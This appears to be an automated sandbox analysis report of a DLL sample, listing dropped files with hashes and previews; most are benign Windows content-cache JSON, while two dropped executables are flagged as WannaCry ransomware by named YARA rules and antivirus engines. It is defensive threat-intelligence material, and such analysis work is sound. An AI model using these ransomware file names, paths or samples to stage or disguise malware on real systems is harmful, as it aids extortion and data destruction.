                  Preview:{"itemPropertyManifest":{"storeCampaignId":{"type":"text","isOptional":true},"installApp":{"type":"boolean"},"installDelay":{"type":"text"},"swapStartTile":{"type":"action"},"displayName":{"type":"text"},"phoneticName":{"type":"text"},"packageSize":{"type":"numeric"},"launchStore":{"type":"action"},"onRender":{"type":"action"},"showNameOnMediumTile":{"type":"boolean"},"showNameOnWideTile":{"type":"boolean"},"showNameOnLargeTile":{"type":"boolean"},"smallTile":{"type":"image"},"collection":{"type":"numeric"},"mediumTile":{"type":"image"},"backgroundColor":{"type":"text"}},"propertyManifest":{},"properties":{},"tracking":{"events":[{"id":"/?eventName=impression","name":"impression"}],"parameterized":[{"uri":"https://ris.api.iris.microsoft.com/v1/a/{ACTION}?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=74a43adf525d4820b03acc644e3e469e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.1713

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\314559\885531ce9aca4afd895bbfda82916f76_1.~tmp

                  Download File
                  Process:C:\Windows\System32\backgroundTaskHost.exe
                  File Type:ASCII text, with very long lines, with no line terminators
                  Category:dropped
                  Size (bytes):51123
                  Entropy (8bit):5.588694385402492
                  Encrypted:false
                  SSDEEP:1536:BieCLvt5TD3MirQ9S0wAWX3Kl2RukvmGH:BieCLvt5TD3MiYS0wAWX3Kl2RukvmGH
                  MD5:54D53B5454B2E056DF21CBA449FA797E
                  SHA1:1908E3E429ACB0EB82985365613D98610622EB06
                  SHA-256:BBB502476EB143863F3CC22A580911EE23FE93A346680711D1CB575572198721
                  SHA-512:B8665432415445B6889CA0800D62E7AF5FE7D069B3EA7F281F16371D367E2834936B9A198A67B9E9B10338786256A69EE3CBF4AA6DC4426215ED9F1040C6B3B3
                  Malicious:false
                  Preview:{"itemPropertyManifest":{"storeCampaignId":{"type":"text","isOptional":true},"installApp":{"type":"boolean"},"installDelay":{"type":"text"},"swapStartTile":{"type":"action"},"displayName":{"type":"text"},"phoneticName":{"type":"text"},"packageSize":{"type":"numeric"},"launchStore":{"type":"action"},"onRender":{"type":"action"},"showNameOnMediumTile":{"type":"boolean"},"showNameOnWideTile":{"type":"boolean"},"showNameOnLargeTile":{"type":"boolean"},"smallTile":{"type":"image"},"collection":{"type":"numeric"},"mediumTile":{"type":"image"},"backgroundColor":{"type":"text"}},"propertyManifest":{},"properties":{},"tracking":{"events":[{"id":"/?eventName=impression","name":"impression"}],"parameterized":[{"uri":"https://ris.api.iris.microsoft.com/v1/a/{ACTION}?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=74a43adf525d4820b03acc644e3e469e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.1713

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387\37de9f179a55473a91308a911cabe315_1 (copy)

                  Download File
                  Process:C:\Windows\System32\backgroundTaskHost.exe
                  File Type:UTF-8 Unicode text, with very long lines, with no line terminators
                  Category:dropped
                  Size (bytes):9413
                  Entropy (8bit):5.646833721018235
                  Encrypted:false
                  SSDEEP:96:dyElp3qupaZp3qmpT2bWAvKBPQVsJs20tlHB5EcfeE/t1JeXp8LPqQvcfeE/tkJu:Jb8PTAvKqOihtlHB5131W8N03kFyw3dS
                  MD5:DD5425E1111E0EDEB0DF25D54C9AD9E1
                  SHA1:C4A647DE85B79CE3FE76CED7434C4A3C27303419
                  SHA-256:67D60AE829E3A165DF85928FD812B5B5AAAE6103E80B7955C8A2542648C6B748
                  SHA-512:A1A93D0CA85D6C65D2CFA6A95BF64D2C6A4C73C760B5E21A34C102937CFA9459DDF24B7DA45AF2B73C49AEC88DC0ACE8FA9A3837A59A834E50401CF57011A7F1
                  Malicious:false
                  Preview:{"class":"content","collections":[],"name":"LockScreen","propertyManifest":{"landscapeImage":{"type":"image"},"portraitImage":{"type":"image"},"showImageOnSecureLock":{"isOptional":true,"type":"boolean"},"onRender":{"type":"action"}},"properties":{"landscapeImage":{"fileSize":1841605,"height":1080,"sha256":"M5rmGHWKYkOGMFKNoo6X8IF/m4FYzjDL0wJbMl9ciVI=","width":1920,"image":"C:\\Users\\user\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\8283fedb6ff838d61826f7ff3bff83fbfa8f6d46c18eccdf46585362bba2fb37"},"portraitImage":{"fileSize":1692251,"height":1920,"sha256":"bMD0KRMErRTiIdHxxPOGmUumq6ovsWhmgXlHir3ZMUw=","width":1080,"image":"C:\\Users\\user\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\3acf31d1486b3ae08bbd18908d4eae1dd1e435031ca2b3bddc634ad863863762"},"showImageOnSecureLock":{"bool":true},"onRender":{"event":"none","parameters":{"ctx.action":"setLockScreenHotspots","ct

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387\37de9f179a55473a91308a911cabe315_1.~tmp

                  Download File
                  Process:C:\Windows\System32\backgroundTaskHost.exe
                  File Type:UTF-8 Unicode text, with very long lines, with no line terminators
                  Category:dropped
                  Size (bytes):9413
                  Entropy (8bit):5.646833721018235
                  Encrypted:false
                  SSDEEP:96:dyElp3qupaZp3qmpT2bWAvKBPQVsJs20tlHB5EcfeE/t1JeXp8LPqQvcfeE/tkJu:Jb8PTAvKqOihtlHB5131W8N03kFyw3dS
                  MD5:DD5425E1111E0EDEB0DF25D54C9AD9E1
                  SHA1:C4A647DE85B79CE3FE76CED7434C4A3C27303419
                  SHA-256:67D60AE829E3A165DF85928FD812B5B5AAAE6103E80B7955C8A2542648C6B748
                  SHA-512:A1A93D0CA85D6C65D2CFA6A95BF64D2C6A4C73C760B5E21A34C102937CFA9459DDF24B7DA45AF2B73C49AEC88DC0ACE8FA9A3837A59A834E50401CF57011A7F1
                  Malicious:false
                  Preview:{"class":"content","collections":[],"name":"LockScreen","propertyManifest":{"landscapeImage":{"type":"image"},"portraitImage":{"type":"image"},"showImageOnSecureLock":{"isOptional":true,"type":"boolean"},"onRender":{"type":"action"}},"properties":{"landscapeImage":{"fileSize":1841605,"height":1080,"sha256":"M5rmGHWKYkOGMFKNoo6X8IF/m4FYzjDL0wJbMl9ciVI=","width":1920,"image":"C:\\Users\\user\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\8283fedb6ff838d61826f7ff3bff83fbfa8f6d46c18eccdf46585362bba2fb37"},"portraitImage":{"fileSize":1692251,"height":1920,"sha256":"bMD0KRMErRTiIdHxxPOGmUumq6ovsWhmgXlHir3ZMUw=","width":1080,"image":"C:\\Users\\user\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\3acf31d1486b3ae08bbd18908d4eae1dd1e435031ca2b3bddc634ad863863762"},"showImageOnSecureLock":{"bool":true},"onRender":{"event":"none","parameters":{"ctx.action":"setLockScreenHotspots","ct

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387\42ff8bfeecdc4144b8007723b60df017_1 (copy)

                  Download File
                  Process:C:\Windows\System32\backgroundTaskHost.exe
                  File Type:UTF-8 Unicode text, with very long lines, with no line terminators
                  Category:dropped
                  Size (bytes):9702
                  Entropy (8bit):5.621280788595468
                  Encrypted:false
                  SSDEEP:192:T7l7zlAAvKNhSHttlHB5JrYxbqT95ofYM0:1tGY7X9e0
                  MD5:D1C5DF349DBDD421E82D2B0BD9439C40
                  SHA1:40A192F5F08088752CAAF0D1E0C73689EF64D017
                  SHA-256:9FB88178588AB34252608AD53337684CC074F3E1620E46A97EB77D5094EE8869
                  SHA-512:75406E4012DBE20BA6DDB3B16467E16156DDC0005E6324A0EB70C8CF2433774AEE40767B9979F78BE516CED1D1418CBDB77CDBFD933E407D50F12FC042B05E45
                  Malicious:false
                  Preview:{"class":"content","collections":[],"name":"LockScreen","propertyManifest":{"landscapeImage":{"type":"image"},"portraitImage":{"type":"image"},"showImageOnSecureLock":{"isOptional":true,"type":"boolean"},"onRender":{"type":"action"}},"properties":{"landscapeImage":{"fileSize":1708865,"height":1080,"sha256":"D0HX28nyO5NQd6kgwDFGgC/6JrE0LlomLmJ1DdzdriE=","width":1920,"image":"C:\\Users\\user\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\cf0e347e4829f32b660aa0a3b28c38bd7cba4cc57aa78e26c6d08bdb37dbb4a7"},"portraitImage":{"fileSize":1660833,"height":1920,"sha256":"PpfCRreo37BZAhX8PHI2WD1K/f7wMV2Jdwu4/nMF3xw=","width":1080,"image":"C:\\Users\\user\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\963e3f45523380a2c6863a4e725418b8c00a5272db711428aa77a85033610e1c"},"showImageOnSecureLock":{"bool":true},"onRender":{"event":"none","parameters":{"ctx.action":"setLockScreenHotspots","ct

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387\42ff8bfeecdc4144b8007723b60df017_1.~tmp

                  Download File
                  Process:C:\Windows\System32\backgroundTaskHost.exe
                  File Type:UTF-8 Unicode text, with very long lines, with no line terminators
                  Category:dropped
                  Size (bytes):9702
                  Entropy (8bit):5.621280788595468
                  Encrypted:false
                  SSDEEP:192:T7l7zlAAvKNhSHttlHB5JrYxbqT95ofYM0:1tGY7X9e0
                  MD5:D1C5DF349DBDD421E82D2B0BD9439C40
                  SHA1:40A192F5F08088752CAAF0D1E0C73689EF64D017
                  SHA-256:9FB88178588AB34252608AD53337684CC074F3E1620E46A97EB77D5094EE8869
                  SHA-512:75406E4012DBE20BA6DDB3B16467E16156DDC0005E6324A0EB70C8CF2433774AEE40767B9979F78BE516CED1D1418CBDB77CDBFD933E407D50F12FC042B05E45
                  Malicious:false
                  Preview:{"class":"content","collections":[],"name":"LockScreen","propertyManifest":{"landscapeImage":{"type":"image"},"portraitImage":{"type":"image"},"showImageOnSecureLock":{"isOptional":true,"type":"boolean"},"onRender":{"type":"action"}},"properties":{"landscapeImage":{"fileSize":1708865,"height":1080,"sha256":"D0HX28nyO5NQd6kgwDFGgC/6JrE0LlomLmJ1DdzdriE=","width":1920,"image":"C:\\Users\\user\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\cf0e347e4829f32b660aa0a3b28c38bd7cba4cc57aa78e26c6d08bdb37dbb4a7"},"portraitImage":{"fileSize":1660833,"height":1920,"sha256":"PpfCRreo37BZAhX8PHI2WD1K/f7wMV2Jdwu4/nMF3xw=","width":1080,"image":"C:\\Users\\user\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\963e3f45523380a2c6863a4e725418b8c00a5272db711428aa77a85033610e1c"},"showImageOnSecureLock":{"bool":true},"onRender":{"event":"none","parameters":{"ctx.action":"setLockScreenHotspots","ct

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387\9b989e2a2e624c2a8ba82b48d349ae75_1 (copy)

                  Download File
                  Process:C:\Windows\System32\backgroundTaskHost.exe
                  File Type:UTF-8 Unicode text, with very long lines, with no line terminators
                  Category:dropped
                  Size (bytes):9444
                  Entropy (8bit):5.6475816086237325
                  Encrypted:false
                  SSDEEP:192:ghqsrx+AvKWNA8tlHB5ZFUqHsT0cvucitR:ghbOqHsfS
                  MD5:BA91EC47652EA306375AC00E5C382528
                  SHA1:4E55E3C968B49F844923189AD9E1DCA126F7717D
                  SHA-256:4F16BD784AAF175966DD801FC08061DD6C5AE354212D39CB4EB5F3FC51AAD2F4
                  SHA-512:9763B9869A6BB8B0D8CFAA57C5DC87AC832E36F8D2EC6342FF263ADCB5DF3B6485250371768C0154D7D12F4D9ED19FA7A8A6B595D28DB62159F396724A3B3625
                  Malicious:false
                  Preview:{"class":"content","collections":[],"name":"LockScreen","propertyManifest":{"landscapeImage":{"type":"image"},"portraitImage":{"type":"image"},"showImageOnSecureLock":{"isOptional":true,"type":"boolean"},"onRender":{"type":"action"}},"properties":{"landscapeImage":{"fileSize":375283,"height":1080,"sha256":"vaweDDTGTi/SK2IEi0QpqdBRmc4i6rvzV0wx/GuYrbw=","width":1920,"image":"C:\\Users\\user\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\0e5575a66c49ddb8e8544345a8067dfdcc211705a4dc4ce02f0d2d76a21e456b"},"portraitImage":{"fileSize":335525,"height":1920,"sha256":"Cz/dhHJdNxoJQLKAZpoEwBcF++lmrwvcYYzRs881t0g=","width":1080,"image":"C:\\Users\\user\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\17af81426d9bced32c041e02f7369b3aad2c414d356f524187b6d14a9ec2bce6"},"showImageOnSecureLock":{"bool":true},"onRender":{"event":"none","parameters":{"ctx.action":"setLockScreenHotspots","ctx.

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387\9b989e2a2e624c2a8ba82b48d349ae75_1.~tmp

                  Download File
                  Process:C:\Windows\System32\backgroundTaskHost.exe
                  File Type:UTF-8 Unicode text, with very long lines, with no line terminators
                  Category:dropped
                  Size (bytes):9444
                  Entropy (8bit):5.6475816086237325
                  Encrypted:false
                  SSDEEP:192:ghqsrx+AvKWNA8tlHB5ZFUqHsT0cvucitR:ghbOqHsfS
                  MD5:BA91EC47652EA306375AC00E5C382528
                  SHA1:4E55E3C968B49F844923189AD9E1DCA126F7717D
                  SHA-256:4F16BD784AAF175966DD801FC08061DD6C5AE354212D39CB4EB5F3FC51AAD2F4
                  SHA-512:9763B9869A6BB8B0D8CFAA57C5DC87AC832E36F8D2EC6342FF263ADCB5DF3B6485250371768C0154D7D12F4D9ED19FA7A8A6B595D28DB62159F396724A3B3625
                  Malicious:false
                  Preview:{"class":"content","collections":[],"name":"LockScreen","propertyManifest":{"landscapeImage":{"type":"image"},"portraitImage":{"type":"image"},"showImageOnSecureLock":{"isOptional":true,"type":"boolean"},"onRender":{"type":"action"}},"properties":{"landscapeImage":{"fileSize":375283,"height":1080,"sha256":"vaweDDTGTi/SK2IEi0QpqdBRmc4i6rvzV0wx/GuYrbw=","width":1920,"image":"C:\\Users\\user\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\0e5575a66c49ddb8e8544345a8067dfdcc211705a4dc4ce02f0d2d76a21e456b"},"portraitImage":{"fileSize":335525,"height":1920,"sha256":"Cz/dhHJdNxoJQLKAZpoEwBcF++lmrwvcYYzRs881t0g=","width":1080,"image":"C:\\Users\\user\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\17af81426d9bced32c041e02f7369b3aad2c414d356f524187b6d14a9ec2bce6"},"showImageOnSecureLock":{"bool":true},"onRender":{"event":"none","parameters":{"ctx.action":"setLockScreenHotspots","ctx.

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338388\1f34c2388cae4d95b48e19a4e3321966_1 (copy)

                  Download File
                  Process:C:\Windows\System32\backgroundTaskHost.exe
                  File Type:ASCII text, with very long lines, with no line terminators
                  Category:dropped
                  Size (bytes):3357
                  Entropy (8bit):5.6517939001491335
                  Encrypted:false
                  SSDEEP:96:KVuU6SHt35ENK46vD8YK4NhOvOnhuNK46vDmWEx/:TUrHt35R4my4COnd4myWEx/
                  MD5:000AA94BF75C97DE0AA63E57382AE507
                  SHA1:DECFC8AB84ADE84AAE081C47315D7F1814BDEE4C
                  SHA-256:7BF22EDFED4F28BF290C66901ECA698A163DCBF79DD1C18056EC6BC154C95529
                  SHA-512:3D2B319809624F0961B4BFCEFE4737020D7213F62018A80A643B6017D0C132782E7F7DAC5A8C84949695BBA1EAD3144B3E487631B940E90B95C982F3866398FA
                  Malicious:false
                  Preview:{"class":"content","collections":[],"itemPropertyManifest":{"templateType":{"type":"text"},"onRender":{"type":"action"}},"items":[{"properties":{"templateType":{"text":"hidden"},"onRender":{"event":"none","parameters":{"collectionId":"Start.Suggestions","ctx.action":"addTileToCollection","ctx.containerPath":"//item[0]","ctx.contentId":"1f34c2388cae4d95b48e19a4e3321966","ctx.creativeId":"1658329462`128000000000402926`0`1f34c2388cae4d95b48e19a4e3321966`3600`338388`137270879400000000","ctx.cv":"/NlbJnrUS06OkSwJ.0","ctx.expiration":"137270879400000000","ctx.placementId":"SubscribedContent-338388","onRender":"//item[0]/property[onRender]","templateType":"hidden"},"action":"addTileToCollection"}},"tracking":{"events":[{"id":"//item[0]?eventName=impression","name":"impression"},{"id":"//item[0]?eventName=click","name":"click"},{"id":"//item[0]?eventName=install","name":"install"},{"id":"//item[0]?eventName=installComplete","name":"installComplete"},{"id":"//item[0]?eventName=dislike","name":"

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338388\1f34c2388cae4d95b48e19a4e3321966_1.~tmp

                  Download File
                  Process:C:\Windows\System32\backgroundTaskHost.exe
                  File Type:ASCII text, with very long lines, with no line terminators
                  Category:dropped
                  Size (bytes):3357
                  Entropy (8bit):5.6517939001491335
                  Encrypted:false
                  SSDEEP:96:KVuU6SHt35ENK46vD8YK4NhOvOnhuNK46vDmWEx/:TUrHt35R4my4COnd4myWEx/
                  MD5:000AA94BF75C97DE0AA63E57382AE507
                  SHA1:DECFC8AB84ADE84AAE081C47315D7F1814BDEE4C
                  SHA-256:7BF22EDFED4F28BF290C66901ECA698A163DCBF79DD1C18056EC6BC154C95529
                  SHA-512:3D2B319809624F0961B4BFCEFE4737020D7213F62018A80A643B6017D0C132782E7F7DAC5A8C84949695BBA1EAD3144B3E487631B940E90B95C982F3866398FA
                  Malicious:false
                  Preview:{"class":"content","collections":[],"itemPropertyManifest":{"templateType":{"type":"text"},"onRender":{"type":"action"}},"items":[{"properties":{"templateType":{"text":"hidden"},"onRender":{"event":"none","parameters":{"collectionId":"Start.Suggestions","ctx.action":"addTileToCollection","ctx.containerPath":"//item[0]","ctx.contentId":"1f34c2388cae4d95b48e19a4e3321966","ctx.creativeId":"1658329462`128000000000402926`0`1f34c2388cae4d95b48e19a4e3321966`3600`338388`137270879400000000","ctx.cv":"/NlbJnrUS06OkSwJ.0","ctx.expiration":"137270879400000000","ctx.placementId":"SubscribedContent-338388","onRender":"//item[0]/property[onRender]","templateType":"hidden"},"action":"addTileToCollection"}},"tracking":{"events":[{"id":"//item[0]?eventName=impression","name":"impression"},{"id":"//item[0]?eventName=click","name":"click"},{"id":"//item[0]?eventName=install","name":"install"},{"id":"//item[0]?eventName=installComplete","name":"installComplete"},{"id":"//item[0]?eventName=dislike","name":"

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338389\630698eddbed49dfb19e8adad33ba72a_1 (copy)

                  Download File
                  Process:C:\Windows\System32\backgroundTaskHost.exe
                  File Type:ASCII text, with very long lines, with no line terminators
                  Category:dropped
                  Size (bytes):1753
                  Entropy (8bit):5.6019723883659385
                  Encrypted:false
                  SSDEEP:48:YrLtIobFu8kLs/KA13ZFDi3B1HFzkwhJ2UzWDSv4:ENFPsy3ZFE1uGcBDSw
                  MD5:D92B05E31CCD9927D306C679C86119F3
                  SHA1:469C0B8D0E68EDB8261D5C9900B16F425588D349
                  SHA-256:82476CA814DA8DD62BA869692B9DFE7EFA3340F9BFF75113E19260B881F425E7
                  SHA-512:77E4BDDC59228AF801F581CCD21DA85D202FD23FDAFF6F1D539B2B1DA24DE58A87CC16F58391AC95EC0F6F3B7632E691B07B5034DB2F6CEB144430B16C3DB0AA
                  Malicious:false
                  Preview:{"class":"content","collections":[],"itemPropertyManifest":{"noOp":{"type":"action"}},"items":[{"properties":{"noOp":{"event":"none","parameters":{"ctx.action":"noOp","ctx.containerPath":"//item[0]","ctx.contentId":"630698eddbed49dfb19e8adad33ba72a","ctx.creativeId":"1658329470`128000000001627409`0`630698eddbed49dfb19e8adad33ba72a`604800`338389`137271744000000000","ctx.cv":"FNMoSKpnq0ygZVc5.0","ctx.expiration":"137271744000000000","ctx.placementId":"SubscribedContent-338389","noOp":"//item[0]/property[noOp]"},"action":"noOp"}},"tracking":{"events":[{"id":"//item[0]?eventName=impression","name":"impression"}],"parameterized":[{"uri":"https://ris.api.iris.microsoft.com/v1/a/{ACTION}?CID=128000000001627409&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID={EID}&&PID=425116219&UIT=P-&TargetID=700333446&AN=1913089883&PG=PC000P0FR5.0000000IRU&REQASID=DDA2D138A5364B59B4E576B03804BEEB&UNID=338389&ID=01A42CCEBDCE10BFEA4CEC9C6CF80288&ASID={ASID}

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338389\630698eddbed49dfb19e8adad33ba72a_1.~tmp

                  Download File
                  Process:C:\Windows\System32\backgroundTaskHost.exe
                  File Type:ASCII text, with very long lines, with no line terminators
                  Category:dropped
                  Size (bytes):1753
                  Entropy (8bit):5.6019723883659385
                  Encrypted:false
                  SSDEEP:48:YrLtIobFu8kLs/KA13ZFDi3B1HFzkwhJ2UzWDSv4:ENFPsy3ZFE1uGcBDSw
                  MD5:D92B05E31CCD9927D306C679C86119F3
                  SHA1:469C0B8D0E68EDB8261D5C9900B16F425588D349
                  SHA-256:82476CA814DA8DD62BA869692B9DFE7EFA3340F9BFF75113E19260B881F425E7
                  SHA-512:77E4BDDC59228AF801F581CCD21DA85D202FD23FDAFF6F1D539B2B1DA24DE58A87CC16F58391AC95EC0F6F3B7632E691B07B5034DB2F6CEB144430B16C3DB0AA
                  Malicious:false
                  Preview:{"class":"content","collections":[],"itemPropertyManifest":{"noOp":{"type":"action"}},"items":[{"properties":{"noOp":{"event":"none","parameters":{"ctx.action":"noOp","ctx.containerPath":"//item[0]","ctx.contentId":"630698eddbed49dfb19e8adad33ba72a","ctx.creativeId":"1658329470`128000000001627409`0`630698eddbed49dfb19e8adad33ba72a`604800`338389`137271744000000000","ctx.cv":"FNMoSKpnq0ygZVc5.0","ctx.expiration":"137271744000000000","ctx.placementId":"SubscribedContent-338389","noOp":"//item[0]/property[noOp]"},"action":"noOp"}},"tracking":{"events":[{"id":"//item[0]?eventName=impression","name":"impression"}],"parameterized":[{"uri":"https://ris.api.iris.microsoft.com/v1/a/{ACTION}?CID=128000000001627409&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID={EID}&&PID=425116219&UIT=P-&TargetID=700333446&AN=1913089883&PG=PC000P0FR5.0000000IRU&REQASID=DDA2D138A5364B59B4E576B03804BEEB&UNID=338389&ID=01A42CCEBDCE10BFEA4CEC9C6CF80288&ASID={ASID}

                  C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

                  Download File
                  Process:C:\Windows\System32\svchost.exe
                  File Type:ASCII text, with no line terminators
                  Category:dropped
                  Size (bytes):55
                  Entropy (8bit):4.306461250274409
                  Encrypted:false
                  SSDEEP:3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
                  MD5:DCA83F08D448911A14C22EBCACC5AD57
                  SHA1:91270525521B7FE0D986DB19747F47D34B6318AD
                  SHA-256:2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
                  SHA-512:96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
                  Malicious:false
                  Preview:{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

                  C:\Windows\mssecsvc.exe

                  Download File
                  Process:C:\Windows\SysWOW64\rundll32.exe
                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):3813376
                  Entropy (8bit):6.5608751845717075
                  Encrypted:false
                  SSDEEP:49152:VnAQqMSPbcBVQej/1INRx+TSqTdX1HkQo6SAA:ZDqPoBhz1aRxcSUDk36SA
                  MD5:08F6BFCC5D9AC317C1838E4E08A9C949
                  SHA1:8CA4E28E08A0240F7E8CD2F9B736BEA748CFA982
                  SHA-256:CEAAF894C7C87D2A5629B838A6A029F26FBDFCC268E1594909E779828A712354
                  SHA-512:095D6FFFB66872D4FED1C8EC0DB6B6E43B398F637F9F5EF5AD19F126EF4448A5FF807D39D77D27F2C3EA2D957DE4DDE49C5A76E9042221ABBEF41B79A0D172E6
                  Malicious:true
                  Yara Hits:
                  • Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvc.exe, Author: Florian Roth (with the help of binar.ly)
                  • Rule: WannaCry_Ransomware_Gen, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvc.exe, Author: Florian Roth (based on rule by US CERT)
                  • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Windows\mssecsvc.exe, Author: Joe Security
                  • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\mssecsvc.exe, Author: us-cert code analysis team
                  Antivirus:
                  • Antivirus: Avira, Detection: 100%
                  • Antivirus: Joe Sandbox ML, Detection: 100%
                  • Antivirus: Metadefender, Detection: 83%, Browse
                  • Antivirus: ReversingLabs, Detection: 98%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U<S..]=..]=..]=.jA1..]=.A3..]=.~B7..]=.~B6..]=.~B9..]=..R`..]=..]<.J]=.'{6..]=..[;..]=.Rich.]=.........................PE..L....:.G.....................08.....).h...........@...........................h......................................................1...6..........................................................................................................text.............................. ..`.rdata..............................@..@.data....H0......p..................@....rsrc.....6...1...6.. ..............`...uyrrfpw.......g.......9............. ...................................................................................................................................................................................................................................................................................................................

                  C:\Windows\tasksche.exe

                  Download File
                  Process:C:\Windows\mssecsvc.exe
                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):3514368
                  Entropy (8bit):6.5250408221172975
                  Encrypted:false
                  SSDEEP:49152:nQqMSPbcBVQej/1INRx+TSqTdX1HkQo6SAAL:QqPoBhz1aRxcSUDk36SA8
                  MD5:3233ACED9279EF54267C479BBA665B90
                  SHA1:0B2CC142386641901511269503CDF6F641FAD305
                  SHA-256:F60F8A6BCAF1384A0D6A76D3E88007A8604560B263D2B8AEEE06FD74C9EE5B3B
                  SHA-512:55F25C51FFB89D46F2A7D2ED9B67701E178BD68E74B71D757D5FA14BD9530A427104FC36116633033EAD762ECF7960AB96429F5B0A085A701001C6832BA4555E
                  Malicious:true
                  Yara Hits:
                  • Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\tasksche.exe, Author: Florian Roth (with the help of binar.ly)
                  • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\tasksche.exe, Author: us-cert code analysis team
                  • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Windows\tasksche.exe, Author: ReversingLabs
                  Antivirus:
                  • Antivirus: Avira, Detection: 100%
                  • Antivirus: Joe Sandbox ML, Detection: 100%
                  • Antivirus: Metadefender, Detection: 85%, Browse
                  • Antivirus: ReversingLabs, Detection: 95%
                  Joe Sandbox View:
                  • Filename: 7KPQg3aXdC.dll, Detection: malicious, Browse
                  • Filename: ngFFOGiE7Y.dll, Detection: malicious, Browse
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........:..T...T...T..X...T.._...T.'.Z...T..^...T..P...T.g.....T...U...T..._...T.c.R...T.Rich..T.........................PE..L...A..L.................p... 5......w............@...........................5.................................................d.........4..........................................................................................................text....i.......p.................. ..`.rdata..p_.......`..................@..@.data...X........ ..................@....rsrc.....4.......4.................@..@........................................................................................................................................................................................................................................................................................................................................................

                  Static File Info

                  General

                  File type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Entropy (8bit):5.135481093377206
                  TrID:
                  • Win32 Dynamic Link Library (generic) (1002004/3) 99.60%
                  • Generic Win/DOS Executable (2004/3) 0.20%
                  • DOS Executable Generic (2002/1) 0.20%
                  • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                  File name:tct5NKwZY8.dll
                  File size:5267459
                  MD5:78e030ff60df2138dd2c2a55eea33147
                  SHA1:76e70ffb7c6baae9e00bc57fd867e9b78ffb550e
